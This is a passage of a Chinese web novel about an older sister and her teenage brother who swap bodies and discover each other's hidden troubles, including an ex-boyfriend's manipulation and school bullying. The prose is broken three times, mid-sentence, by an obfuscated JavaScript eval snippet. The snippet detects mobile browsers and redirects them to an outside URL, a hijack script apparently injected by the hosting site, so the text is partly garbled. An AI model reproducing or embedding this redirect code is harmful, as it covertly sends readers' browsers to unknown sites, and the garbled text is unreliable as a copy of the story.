他想给她发条消息,问问她到了没有,但又觉得那样太奇怪了——他用自己的手机给自己发消息? 他翻了个身,把脸埋进枕头里。 枕头上有他姐的味道。不是香水,是洗发水混着一点药味,淡淡的,苦的。 5. 错位人生 与此同时,上沙村。 沈知窈站在一栋握手楼下面,仰着头数楼层。 四楼……她弟住四楼,比自家楼层少两层。 楼梯是露天的,铁质的,踩上去哐当哐当响。扶手锈迹斑斑,上面糊着厚厚一层灰。她一层一层往上爬,爬到三楼的时候,听见楼上有人在吵架,女人的声音尖利,男人的声音低沉,混在一起听不清在骂什么。 四楼到了。 走廊很窄,只能容一个人通过。两边是一扇扇防盗门,门上贴满了小广告——疏通下水道、高价回收、□□。她弟的门在最里面,门上拴着一根红色的尼龙绳,绳子的另一头系在门框上的一个铁钩上。 她解开绳子,推开门。 一股混合的气味扑面而来——烟味、汗味、洗衣液的味道,还有一种说不清的、属于少年人的气息。她站在门口,看着这个不到十平米的房间。 一张单人床,床单是深蓝色的,皱成一团。一个衣柜,柜门半开着,露出里面乱七八糟的衣服。一张书桌,桌上堆着教辅资料、试卷、充电器、一个吃了一半的泡面桶。 地上也堆着东西,脏衣服、空瓶子、几双球鞋。 墙上贴着一张照片。 她走过去,凑近看。 是他们的合照。七年前的,她刚上大学那年拍的。照片里她穿着高中的校服——那时候自己还没毕业,校服还能穿,她弟穿着小学的校服,站在她旁边,笑得露出两颗虎牙。 她记得那天。是暑假,她回家,妈说你们姐弟俩拍张照吧。她本来不想拍,嫌麻烦,但拗不过妈,就站在门口拍了一张。 她记得自己当时在想什么,在憧憬大学的军训,在想新同学,在想离开这个家之后的新生活。她没看她弟,没注意他笑得那么开心,没注意他的手偷偷拉着她的衣角。 七年了。 照片的边角已经卷起来了,但被人用透明胶小心翼翼地粘好,贴在墙上最显眼的位置。 她在床边坐下,环顾四周。 这间屋子很小,很乱,很破,但这是她弟生活的地方。她弟每天在这里睡觉,在这里发呆,在这里抽烟。 她看见窗台上放着一个烟灰缸,里面有好几个烟头。 一股无名火烧起来了,臭小子,居然还学会了抽烟。 她想起小时候,她弟总爱跟着她,她去哪儿他就去哪儿,她干什么他就学着干什么。她嫌他烦,嫌他碍事,嫌他像个跟屁虫。后来她上大学了,离家远了,回来得少了,再后来他就变成了另一个人——抽烟、打架、逃课、和社会上的人混。 沈知窈以为他变了,她甚至不知道是什么时候变的。 她一直以为他变成了她看不懂的那种人。 但她现在有机会走进他的生活,发现孩子们到了这个年龄段也没什么不一样的。 她走到书桌前,桌上堆着几本书,全是课本,但翻得不多,有几本甚至还是新的。她翻开最上面那本,扉页上写着三个字:沈渡舟。字迹有点潦草,但还算工整。 她继续往下翻,在课本下面发现一个笔记本。黑色的封皮,边角已经磨白了。她翻开,第一页是空白的,第二页也是空白的,第三页—— 第三页上写着潦草的一行字:“如果我变成坏人,别怪我。” 她盯着那行字,看了很久。 后面的页面全是空白的。她翻到最后一页,也没再找到任何一个字。只有这一行,孤零零的,像一声没有回音的喊。 她把笔记本合上,放回原处。 然后她打开抽屉。 抽屉里很乱,有充电线、耳机、几个打火机、一盒没开封的烟。她拨开这些东西,在最底下发现一个塑料袋,里面装着什么东西,鼓鼓囊囊的。 她拿出来,打开。 是一沓奖状。 “三好学生”——日期落款是六年前。 “优秀班干部”——日期依旧是六年前。 “数学竞赛二等奖”——日期还是六年前。 她一张一张翻过去,翻到最后一张。 “进步之星”——日期是五年前。那是初一上学期,期中考试,他从班级三十多名进步到二十多名。 奖状上盖着学校的章,写着他当时的班级、他的名字。纸张已经泛黄了,边角有点卷,但保存得很好,没有折痕,没有污渍。 她看着那张奖状,想起初一那年的冬天。 那年她大三,寒假回家,妈说弟弟最近成绩下滑了,老师打电话来说他上课走神,作业也不好好写。 她没当回事,觉得男孩子嘛,青春期,正常。后来开学了,她回学校,继续忙自己的事,再后来听说他打架了,被叫家长了,开始和社会上的人混了。 她从来没问过他为什么。 她从来没想过,那个考过进步之星的小孩,是怎么一步一步变成现在这样的。 她把奖状放回塑料袋里,放回抽屉最底下,把那些杂物理好,盖上抽屉。 然后她坐回床边,低头看着自己的手。 她弟的手。 骨节分明,手背上有几道细小的划痕,虎口处缠着纱布。这只手打过架,抽过烟,也曾经在小学的课堂上举起来回答过问题,曾经在数学竞赛的试卷上写下过答案。 她把手握起来,握成拳。 手机震了。 是她弟的手机——她现在的手机。屏幕上跳出一条消息,备注是“黄毛”:“渡哥,你今天来不来?老地方。” 她盯着那条消息,不知道该怎么回。 老地方是什么地方?黄毛是谁?渡哥是她弟的绰号,她该用这个身份说什么? 她想了两秒,打了三个字:“今天不。” 发出去之后,她有点后悔。她弟平时说话是这种语气吗?是不是太冷淡了?会不会被人怀疑? 但消息已经发出去了,收不回来。 又震了,还是黄毛:“咋了哥?生病了?” 她想了想,回:“嗯。” 黄毛:“操,你还能生病?行吧,好好歇着,改天找你。” 她松了口气,把手机放下。 窗外传来一阵嘈杂的声音,楼下有人在收废品,三轮车的喇叭循环播放着“回收旧冰箱旧空调旧洗衣机”。 午后的阳光从窗户照进来,落在床上,落在她脚边。 她坐在那里,第一次用她弟的眼睛,看向她弟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345247|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活。 傍晚的时候,沈渡舟从那间整洁得不像话的公寓里出来,下楼走到小区门口的便利店。 他饿了。 沈知窈的冰箱里没什么吃的,除了几盒酸奶,一袋快要过期的吐司,两根蔫了的黄瓜,实在是拿不出手。他不想吃那些,他想吃热的东西。 便利店不大,货架摆得满满当当。他走进去,在快餐区站定,看着那些标着价格的盒饭。红烧肉、番茄炒蛋、土豆丝,一份十五块。 他掏出他姐的钱包,抽出一张二十的,买了份盒饭,又拿了瓶水。 收银的小姑娘看了他一眼,愣了一下,然后迅速低下头去。 他没在意,端着盒饭走到窗边的高脚凳上坐下,打开盖子,开始吃。 吃了一口,他发现不对劲。 那小姑娘一直在偷看他。不是那种花痴的偷看,是那种“这人怎么怪怪的”的偷看。 他低头看了看自己——沈知窈的衣服,沈知窈的身体,沈知窈吃饭的姿势。他不知道他姐平时怎么吃饭,他只能按照自己的方式来,大口大口地往嘴里扒,嚼得很快,腮帮子鼓起来。 那小姑娘又在看他。 他停下来,把嘴里的东西咽下去,擦了擦嘴角,放慢速度,小口小口地吃。 那小姑娘不再看他了。 他松了口气,继续吃饭,但总觉得哪里不对。他姐平时吃饭就这样?一小口一小口,像鸟一样?他想起他姐回家的次数不多,每次回来吃饭,都是坐在餐桌前,低着头,很快吃完,然后说“我还有点事”,就进屋了。 他从没注意过她怎么吃。 他从没注意过她任何事。 吃完饭,他把垃圾扔进垃圾桶,走出便利店。 天黑了,路灯亮起来,路上的人变少了,他站在便利店门口,不知道该往哪走。 回那个公寓?继续躺在那张整洁的床上,盯着那两个药瓶发呆? 他突然想起一件事,他姐今天有约!她手机上有个日程提醒,晚上七点和“林老师”有约。 林老师,沈知窈谈了三年的男朋友,他见过,衣冠楚楚,是个知识分子,后来不知道什么原因分了。 他苦苦哀求了许久,沈知窈想趁着最后一次见面,和他断个干净,结果就遇到这一档子事…… 沈知窈告诉沈渡舟,说林嘉文这家伙死缠烂打不知羞耻,说什么直接拒绝或者不搭理就好。 他掏出手机,翻到聊天记录,找到那个叫“林”的人。 最后几条消息是昨天的—— 林:窈窈,明天晚上有空吗?想跟你聊聊。 沈知窈:没什么好聊的。 林:请给我一次解释的机会吧,不是像你想的那样,我的心里只有你。 沈知窈:好,最后一次。 林:那老地方见?七点? 沈知窈:好的。 老地方,又是老地方。沈渡舟快要崩溃了,谈恋爱非得用暗号么? 他回了条消息:“今晚有事,下次再说吧。” 对方很快回了:“今晚不能见到你了么?” 沈渡舟深吸一口气:“是的,今晚你见不到我了,我很累需要休息。” 6. 始乱终弃 陌生电话打了进来,手机震动差点让沈渡舟把手机抛了出去。 “窈窈,你终于肯接我的电话了!” 沈渡舟咬了咬下唇,终于?这是什么意思?难道他俩分手分得不利落?或者是有不为人知的八卦? 不行,姐姐说直接拒绝就好了,不要过多接触,毕竟是在一起过的,万一看出端倪了,他们姐弟俩岂不是要送进精神病院了。 “什么事,电话说吧。”沈渡舟清了清嗓子,让自己的语气显得平和温柔。 是了,沈知窈平时说话也是这么一死出,淡淡的,说是有气无力也算是有气无力,说是人淡如菊那也算得上人淡如菊。 不过貌似这段时间,人淡如菊貌似成了贬义词。 “我就知道……你还在怪我,但你心里也还是有我的对吗,那天晚上就是误会,我喝多了,醒来就那样了。” 沈渡舟心里咯噔一下——这是出轨被抓了现行?他马上就精神了,他咽了口唾沫,急促道:“就哪样?” “……”电话那头叹了口气,以为对方在咄咄逼人,“窈窈……我不想我们之间的关系就这么结束了,是你当初先靠近我的,不是么。” 沈渡舟平复了一下心情,模仿沈知窈的口吻道:“人都是会变的,更何况,是你先变的。你是个坏男人,欺骗了我的感情。” “欺骗?你之前都那样了,也就只有我能接受你,不介意你,难道你还要把那些丑闻搞得人尽皆知?”电话那头的男人嗤笑了一声,继而将轻浮的语调又转换成柔情蜜语,“别闹了窈窈,你要什么我都给你,真的。” 沈渡舟后脊背发凉,丑闻?人尽皆知?这个男的到底在说什么?这算不算是威胁? 沈知窈身上到底发生过什么? “等着,我过来,你当面跟我说。”沈渡舟克制着内心的躁动和不安,握手机的手都止不住发抖。 林嘉文以为对方被拿住了软肋,不由得心情大好,语气都是耀武扬威的:“老地方?” 沈渡舟不知道老地方在哪,情侣约会的“老地方”,一般是什么地方?咖啡馆?餐厅?还是别的什么地方。 “还老地方,去你的老地方,说直接点,不然我不去了。”沈渡舟一肚子火。 林嘉文报了一个咖啡店的地址。 挂断电话后,他回想起为数不多的几面,那个男人说话语气温柔斯文,行为举止得体大方,彬彬有礼的。 起先他还在想,这么好的人,姐姐怎么会跟他分手了,有几个人能忍受姐姐的臭脾气,连这么温柔的男人都受不了。 沈渡舟那个时候还忍不住腹诽,沈知窈真是挑剔,没有男人要还要嫌这嫌那。 他走了两条街,找到一家咖啡馆,铺面不大,灯光昏黄,门口摆着几盆绿植。 落地窗,白桌布,胡桃木桌,复古烛台。 他看见靠窗的位置坐着一个男人,戴眼镜,斯文,正低头看手机,正是他以前见过的林嘉文。 沈渡舟推门进去,那男人抬起头,看见他,唇边习惯性地带起了肌肉记忆的弧度:“窈窈,来了?” 窈窈。 沈渡舟听见这两个字从那个人嘴里说出来,心里涌起一阵说不清的感觉。他走过去,在那个男人对面坐下。 “想喝什么?我给你点了枫糖咖啡。”那男人把菜单递过来,“你上次说喜欢他们家的可颂,你还要不要加点别的。” 沈渡舟接过菜单,随便翻了翻,又合上:“随便。” 林嘉文愣了一下,显然没料到对方居然毫无波澜,既没有焦虑,也没有歇斯底里,然后他笑:“怎么,心情不好?” 沈渡舟没说话。 心知肚明,长了眼睛就能看到的事,问个屁问问问。 林嘉文看着他,眼神温柔,带着一点关切:“是不是最近又加班了?洪教授又为难你了?” 沈渡舟还是没说话。 那男人伸手,想握他的手,但他手疾眼快躲开了。 那男人的手停在半空,顿了一下,收回去,脸上的表情没什么变化,还是那副温柔的样子。 “窈窈,”他说,“你最近压力太大了,我觉得你状态不对,所以没心思处理我们之间的问题。” 沈渡舟看着他,等着他继续往下说。 “之前我们说好了,有问题及时解决,这还是你说的,你说的每一句话我都记在心里了。以前发生这样的事,你也不是不知情,你从来不会因为这样的事难为我。” 沈舟渡迟疑地张了张嘴,凭借着一个高中生的脑回路,对这段感情进行局部总结:“你是说,你已经出轨了很多次了,但是这一次我容忍不了了,要分手了,你就接受不了了?是么?” “你不要说得那么难听嘛,你之前也不是没有过,我为什么不可以?”林嘉文轻描淡写一句话,如同一颗炸雷,在沈渡舟面前爆开了,“这是不能怪我,我也是想到了你之前……我不甘心啊。” 沈渡舟真的要崩溃了,他虽然是半个社会混子哥,但是相对来说比较纯情,从不乱搞男女关系,私生活相对而言也比较检点。 他们家一贯的家风就是如此啊,不是?这个林嘉文在说什么?这说的是中文吗? 意思是……是沈知窈先出轨了? 沈渡舟脑子卡白了一瞬间,脑海里浮现姐姐那张雨淡风轻,可活可不活的寡淡面容。 姐姐……姐姐怎么可能是那样的人? 沈渡舟脑子有些乱,他连忙摆了摆手,正好服务生将咖啡端了上来,沈渡舟也顾不得烫不烫,接过来就猛灌了一口。 “我和谁?”沈渡舟嗓子发紧。 “洪教授啊。” 据沈渡舟所知,洪德清教授是一个年过半百、有家室的人。 NoNoNo 亲爱的姐姐——沈知窈——你怎么能这样对待你的亲弟弟,这烂摊子,他管不了一点。 沈渡舟想回家。 那个老头不仅秃顶还大腹便便,有什么值得喜欢的?不至于吧,沈知窈真的会喜欢? 沈渡舟如坐针毡,林嘉文稳坐钓鱼台。 林嘉文以为沈知窈示弱了,害怕自己把事情抖出去,便温和了口吻:“窈窈,你别怕,我是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345248|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男朋友,始终是站在你这边的……哪怕是错了,我也不会介意。” “我上次跟你提的那个建议,”林嘉文说,“你考虑得怎么样了?辞职来我这边,虽然工资低点,但我可以照顾你,你也不用在洪教授手底下干活了,你就不用那么累了。” 他继续叹了口气:“我知道你舍不得那份工作,但你看看你现在,每天加班,每天被骂被训话身体也垮了,你这样下去不行的。你搬过来,我们住在一起,稳定下来我们就结婚……” 林嘉文的手妄图再触及沈知窈的手背,却给沈渡舟掩耳不及盗铃之势躲开了。 讨厌,抗拒。 不知道为什么,沈渡舟好像意识到,沈知窈的身体对林嘉文的触碰非常反感,几乎是条件反射的。 “结婚?结什么婚?”沈渡舟脑海里闪过那几瓶与精神相关的药品,语气不自觉强硬起来,他觉得不应该听这个男人的一面之词,“收起你那些龌龊的想法。不管怎么说,我都不会再接受你,林先生,我说了,我们不合适。” “你……你愿意委身一个年纪比你爸还大的老东西,都不愿意和我在一起,沈知窈,我们都在一起这么久了,你还是这德行,你简直是不可理喻,对别的男人水性杨花,对自己的男朋友性冷淡。” 沈渡舟第一次听闻如此颠倒黑白的□□羞辱,该死的,沈知窈是不是经常被这个衣冠楚楚的禽兽言语羞辱? 这不是精神压迫么?口口声声“我站在你这边”,狠辣劲儿都赶得上置人于死地的死对头了。 “林嘉文,老子跟谁睡,你都管不着,反正跟谁睡都不会跟你睡。” 被戳穿心思的林嘉文笑容僵了一瞬。 沈渡舟拿起桌上的咖啡杯——里面装着剩一半的咖啡——然后手腕一翻,全泼在林嘉文的脸上。 那男人肉眼可见地傻了。 棕褐色的咖啡液顺着他的头发往下流,滴在衬衫上,滴在白桌布上。他张着嘴,眼睛瞪得很大,好似从未预料到有这么一天。 “你这个脾气……”林嘉文忍住怒火,死死盯着沈知窈的那张脸。 从前的沈知窈言听计从,今天是吃错了什么药?居然敢这么对他。 她难道就不害怕自己把她差点被洪德清侵犯的事说出去。 事实证明,沈知窈或许会迟疑,但沈渡舟不会后退。 沈渡舟把咖啡杯放下,看着林嘉文。 “我脾气怎么了?”他说,用的是他姐的声音,他姐的语气,但每一个字都是从他自己心里掏出来的,“我脾气好得很。但你这种垃圾,不配。” “你上次在电话里说,”沈渡舟看着他的眼睛,“‘除了我,没人受得了你这个脾气。’是不是你说的?” “我不需要谁来受我的脾气,林嘉文,就算需要找人来忍受我的脾气,那个人也绝不可能是你。” “沈知窈!” 沈渡舟没回头,沈知窈自然也不可能回头。 他替姐姐推开门,走进夜色里。 路面上路灯骤然亮了,和星光并无二样,落到女人消瘦又修长的身形上。 7. 梦回高中 同一时刻,上沙村。 沈知窈坐在她弟的床上,对着那面小小的镜子,看那张不属于自己的脸。 她弟的脸。 十七岁,线条还没长开,但已经能看出成年后的轮廓。 眉眼和她很像,但更浓一些,更野一些,像没驯服的动物。 嘴角有一点淤青,是昨晚打架留下的,额头上也有一道细小的疤,也不知道什么时候留下的。 她盯着那张脸,想起下午翻到的东西。 那沓奖状。 那本笔记本。 以及那句被笔尖深深凿进纸里的“如果我变成坏人,别怪我”。 她想起她弟小时候的样子,白白的,笑起来露出两颗虎牙,是个调皮捣蛋的孩子,喜欢跟在她后面跑,跑着跑着就摔了,摔了也不哭,爬起来继续跑。 他喜欢打闹,但她喜欢安静。 她想起她最后一次牵起他的手,是哪一年?大概是他上小学三年级,她上高一。 过马路的时候她下意识牵了他一下,沈渡舟愣了一下,然后用力回握住。 绿灯亮了,她松开攥紧的手,他也没再伸过来。 从那以后,他们好像就没再有肢体接触了。 她不知道从什么时候开始,她弟不再叫她“姐姐”了。一开始是“姐”,再后来是“喂”,最后是叫“你”,或者是什么都不叫。 沈知窈以为是青春期,是叛逆,是正常的疏远。 她不知道他被人堵在厕所里的时候,想叫的是谁。 反正肯定不会是她了,她是个没用的姐姐,当不了谁的救世主。 手机震了。 是那个备注叫“黄毛”的人:“渡哥,你还好吧?要不要兄弟们去看看你?” 她盯着那条消息,想了很久,然后回:“不用。” 手机又震了:“那你好好歇着,有事喊我们。” 她看着那个“我们”,心里涌起一种奇怪的感觉。 这些人,这些她以前看不上的“社会青年”,这些她弟的“狐朋狗友”,此刻正在关心他。 而她,他的亲姐姐,这些年做了什么? 她想打电话给她弟,问问他在那边怎么样,有没有露馅,有没有被人发现。但她拿起手机,又放下了。 她现在是他。 她得学会用他的方式活着。 这何尝不是命运的惩罚。 她站起来,走到窗边,推开窗户。 夜风吹进来,带着楼下烧烤摊的香味和一点凉意,对面楼的窗户亮着灯,有人在炒菜,油烟机的嗡嗡声隔着巷子传过来。 她站在窗前,用她弟的眼睛和视野,看沈渡舟每天看见的风景。 然后她掏出手机,迟疑之下还是给沈渡舟发了条消息:“你那边怎么样?” 过了两分钟,那边回了:“还行,你呢?” 她看着那两个字,“还行”,像极了她平时说话的语气。 她回:“还行。” 然后她站在那里,握着手机,看着屏幕上那两行字,很久没动。 这是他们第一次,像两个正常人一样,问对方“你怎么样”。 手机又震动了一下,是弟弟发来的消息。 沈渡舟:“我今晚看到林嘉文了。” 沈知窈不自觉抓紧了手机,手心都沁出了汗:“他没怎么样吧?没给他欺负吧?” 沈渡舟:“站在你前男友面前的可是我沈渡舟,怎么可能被人欺负。” 沈知窈稍稍松了口气:“说清楚了?” 沈渡舟:“泼了半杯咖啡,算是说明白了。” 沈知窈飞快打下一行字:“他还说了什么没?” 沈渡舟:“林嘉文?他身不正影子歪,能说什么好话,反正我告诉他,男女朋友的关系到此为止了,好聚好散。” 他最后还贴心地附上一张鄙视的表情包。 沈知窈松了口气,还好林嘉文没说什么。 “那个人说的,一句都不要信,离他远点。” 夜风继续吹着。 对面楼的灯一盏一盏灭了。 她还站在那里,看着她弟的窗户,看着她弟的夜。 沈知窈站在校门口,第一次发现自己对“上学”这件事的理解已经过时了。 她记忆中的高中是十一年前的事。那时候的校门口没有那么多奶茶店,没有那么多电动车,没有那么多人拿着手机边走边看。那时候的她也从来不会在校门口踌躇不前——她知道自己的班级在哪,知道自己的座位在哪,知道自己该干什么。 现在她什么都不知道。 校门是那种现代化的电动伸缩门,旁边立着一块电子屏,滚动播放着“今日之星”和“文明班级”的评比结果。门口站着两个值日的学生,戴着红袖章,手里拿着本子,专抓迟到的人。 沈知窈看了眼手机。 七点五十三分。 她弟的学校六点半上早自习,七点四十上早读,她现在迟到了十三分钟。 沈知窈只能硬着头皮往里走。 该死,到底是谁在怀念高中生活? “同学,等一下。”一个值日的女生拦住了她,“你迟到了,班级姓名?” 沈知窈张了张嘴,报出那个她还没完全适应的名字:“沈渡舟。” 女生低头在本子上写,写了一半,突然抬起头,盯着她的脸看了两秒。 “沈渡舟?”女生的表情变得很微妙,像看见了什么不该看见的东西,“你是沈渡舟?” 沈知窈心里一紧。露馅了?她弟在学校很有名?还是她刚才的语气不对? “怎么了?”她问,尽量让自己听起来冷淡一点。 女生没回答,只是往后退了一步,给她让出路来,用一种“您请”的手势指了指校园深处。旁边那个男生也往旁边挪了挪,表情和女生如出一辙——震惊中带着点敬畏,敬畏中带着点好奇,好奇中还有点“这人今天是不是吃错药了”的困惑。 沈知窈不明所以,但还是顺着那条让出来的路走了进去。 走出十几步,她隐约听见身后传来压低的对话。 “那是沈渡舟?” “对啊,就他,跟李恒那几个总掰扯在一起的那个。” “他刚才跟我说‘怎么了’?他说‘怎么了’?那是人话?” “嘘,小声点,别让他听见。” “他今天怎么回事?没骂人?没瞪人?还这么客气?” “不知道啊,我也吓死了。” 沈知窈脚步顿了顿,然后继续往前走。 她好像明白了一点什么。 她弟在学校的人设,可能和她想象的有点出入。 校园很大,和她上高中的时候还要大。几栋教学楼围成一个四合院的形状,中间是操场,操场上有人在跑步,有人在打球,还有几个人围在角落里不知道在干什么。她转了两圈,没找到高二的楼在哪,最后拦住一个路过的学生。 “请问高二在哪栋楼?” 那学生本来低着头走路,听见声音抬起头,看见她的脸,表情瞬间变得和门口那两个人一模一样。 “……渡、渡哥?”那学生结结巴巴的,“你找我?” 沈知窈愣了一下,才意识到自己问错人了。她不该随便拦人,她弟可能和这个人不熟,甚至可能有过节。 “不是找你,”她说,“我问路。” “问路?”那学生的表情更诡异了,“你问我……问路?” “不方便说吗?” “方便方便!”那学生立刻指向左边那栋楼,“那那那那栋,三楼,高二七班,你你你你,您慢走!” 沈知窈点了点头,说了声“谢谢”,往那边走去。 走出十几步,身后又传来一阵压低的对话:“我靠,沈渡舟跟我说 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这话问得很有水平。不是“你怎么迟到了”,不是“进来坐下”,而是“你怎么来了”。 好像他来上课是一件值得惊讶的事。 “来上课。”沈知窈说。 教室里响起一阵压抑的笑声。 语文老师也愣了一下,然后说:“进来吧。” 沈知窈走进教室,站在门口,扫了一眼那些空着的座位,她不知道她弟坐哪。 “坐回去啊,站着干嘛?”语文老师说。 沈知窈没动。 教室里又响起一阵笑声。有人小声说:“他是不是不知道座位在哪?” 又有人说:“废话,他一个学期能来几次,记得才怪。” 沈知窈听见了,但没理会。她继续扫视教室,试图从那些课桌上找到一点线索。然后她看见最后一排靠窗的位置,桌上放着一本语文书,书页翻开着,但旁边堆着几本皱巴巴的课本,看起来像是有人坐的样子。 她走过去,坐下。 刚坐下,旁边就传来一个压低的男声:“渡哥,你今天真来啊?” 沈知窈转过头,看见一个瘦小的男生正缩着脖子看她。那男生长得很普通,戴眼镜,脸上有几颗青春痘,眼神里带着一种“我和你不熟但我想和你套近乎”的紧张。 “嗯。”她冷淡回答。 “那那那那个,”男生结结巴巴的,“你作业写了吗?语文作业,要交的。” 作业。 她弟还要写作业? 她弟那种人,居然还有人问他作业写没写? “没写。”她大大咧咧一摊手。 男生“哦”了一声,缩回去了,但眼神还在偷偷往她这边瞟。 早读在十分钟后结束了。 下课铃一响,教室里瞬间热闹起来。有人冲出教室去上厕所,有人趴在桌上补觉,有人聚在一起聊天。 但沈知窈注意到,有一个微妙的真空地带正以她为中心慢慢形成——没有人走过来,没有人跟她说话,但所有人的目光都时不时地往她这边飘。 好像她是什么珍稀动物,只可远观,不可亵玩。 她乐得清静,低下头,翻看她弟的课本。 语文书。翻开来,第一页是空白的,第二页也是空白的,翻到第十几页,终于看见一行字——不是笔记,是涂鸦,画了一个小人,小人被人用剑刺穿了,旁边写着“去死吧”。 她翻到下一页,又一个涂鸦,这回是一个猪头,猪头下面写着三个名字,用红笔圈起来,打了一个大大的叉。 艰难辨认出沈渡舟的狗爬鸡抓式字体。 她盯着那个名字,皱着眉,在心里默念了一遍。 8. 阴阳怪气 第一节课是数学。 数学老师是个中年的男老师,戴黑框眼镜,说话很快。他走进教室的时候,也看了沈知窈一眼,那眼神和语文老师如出一辙。 惊讶,困惑,还有一点“今天是太阳打西边出来了”的不可思议。 但他说的话是:“沈渡舟,你来了?把上节课的作业拿出来我看看。” 沈知窈一愣。 作业。 又是作业,刚才还不知廉耻地摊了手说没写。 她低头翻她弟的桌洞,里面乱七八糟的,有揉成团的试卷,有吃了一半的饼干,有几个空瓶子,还有一本皱巴巴的数学练习册,她把练习册抽出来,翻开全是空白的。 “没写。”她视死如归叹了口气。 教室里又响起一阵笑声。 数学老师走过来,站在她桌边,拿起那本练习册翻了翻,表情很复杂。不是生气,是那种“我已经习惯了但每次看到还是忍不住叹气”的无奈。 “沈渡舟,”他说,“你这学期交过几次作业?” 沈知窈不知道,所以她没回答。 数学老师把练习册放回她桌上,拍了拍手:“行了,课后补上,现在上课。” 沈知窈又松了口气。 她以为这件事就这么过去了,但接下来发生的事情,让她意识到事情没那么简单。 数学老师开始讲题。讲的是昨天留的作业里的一道大题,三角函数,难度中等。他讲完解法之后,习惯性地问了一句:“都听懂了吗?” 底下稀稀拉拉地响起几声“听懂了”。 然后数学老师的目光落在了沈知窈身上。 “沈渡舟,你来,把这道题再做一遍。” 沈知窈愣住了。 全班的目光又齐刷刷地转了过来。 她站起来,走到黑板前,拿起粉笔,看了一眼题目,然后开始写。 过程很流畅,她当年高考数学一百四十二分,这种难度的题对她来说就是肌肉记忆。尽管已经很多年没接触过高中知识,但是啃老本是没问题的。 她写完最后一步,把粉笔放下,转身看向数学老师。 数学老师站在那里,嘴微微张着,眼镜差点从鼻梁上滑下来。 教室里安静得能听见窗外操场上体育老师的哨声。 最后不知道是谁,小声说了一句:“我靠。” 这一声像打开了什么开关,教室里瞬间开始窃窃私语起来。 “那是沈渡舟?” “他写对了?” “他写的比我写的还规范!” “他是不是把答案背下来了?” “背你个头,这道题是老师现编的,没有答案!” 数学老师终于回过神来,他扶了扶眼镜,走到黑板前,仔细看了看沈知窈写的步骤,然后转过头来,用一种全新的眼神看着她。 “沈渡舟,”他说,语气里带着一丝不确定,“这道题,你之前做过?” “没。”沈知窈说。 “那你怎么会?” 沈知窈想了想,不知道该怎么解释。说她其实不是她弟,是她姐,三十岁,高校老师,做过几年科研,这点高中数学题对她来说是小菜一碟? 她只能说:“就是会。” 数学老师沉默了两秒,然后点了点头:“行,回你座位去吧。” 沈知窈回到座位上,发现旁边的瘦小男生正用一种看外星人的眼神看着她。 “渡哥,”那男生小声说,“你什么时候学会的?” “一直都会。”她说。 那男生咽了口唾沫,没再说话。 但沈知窈知道,从这一刻起,事情开始失控了。 下课之后,她被人围住了。 不是那种找茬的围,是那种围观稀罕动物的围。好几个人站在她桌边,假装在聊天,实际上都在偷看她。还有人装作路过,走得很慢,眼睛一直往她这边瞟。 “他今天真的写题了?” “我听说了,黑板上那道题,他做出来了。” “他不是从来不学习的吗?” “不知道啊,可能是开窍了?” “开什么窍,他那个脑子,开窍也开不出三角函数。” “扮猪吃老虎吧。” “那你说怎么回事?” “可能……抄的?” “老师看着呢,抄谁的?” 沈知窈坐在座位上,假装在看书,实际上在用余光观察这些人。 她发现她弟在学校的处境比她想象的复杂。这些人看她的眼神不是单纯的敬畏或者害怕,而是一种混合着好奇、试探、隐隐约约的期待,还有一点点幸灾乐祸。 就好像在等着看什么好戏。 她不知道这个好戏是什么,但她很快就知道了。 第二节课后是大课间。沈知窈正想去厕所——她弟的身体也需要上厕所,这个事实让她每次想起来都觉得诡异,但这次还没走出教室,就被几个人堵住了。 为首的一个人高马大,剃着平头,穿着校服但把袖子撸到手肘,露出一截粗壮的小臂。他身后跟着两个跟班,表情和门口值日那俩人如出一辙。 挑衅中带着点兴奋,兴奋中带着点“今天终于逮到你了”的得意。 “哟,渡哥,”平头开口了,语气阴阳怪气的,“听说你今天出息了?数学题都会做了?” 沈知窈看着他,没说话。 她在回忆这个人是谁。然后她想起来了——早上在校门口,值日那俩人提到过“李浩他们”。前几天在审讯室吵架,沈渡舟说过初一时被李浩堵厕所里。 李浩。 这个名字和她刚才在语文书涂鸦上看见的三个名字之一对上了。 那个被红笔圈起来、打了一个大大的叉的名字。 “跟你说话呢,聋了?”李浩往前走了一步,居高临下地看着她。 沈知窈在心里飞快地盘算。 她现在的身份是她弟,一个在学校里“横着走”的人,一个和社会上的人混的人。她不能怂,怂了就露馅。但她也不能太横,太横了可能会被打——她现在用的是她弟的身体,但这具身体昨天刚挨过打,膝盖上还有伤,后脑勺还有个包,经不起再来一场。 她需要一个中间路线。 “听见了。”她说,语气尽量平淡。 李浩愣了一下,大概没想到她会这么平静。按照他的预期,沈渡舟应该要么横眉冷对,要么直接动手,而不是像现在这样,不咸不淡地回一句“听见了”。 “听见了你不说话?”李浩继续挑衅。 “说什么?” “说你今天怎么回事啊?”李浩凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 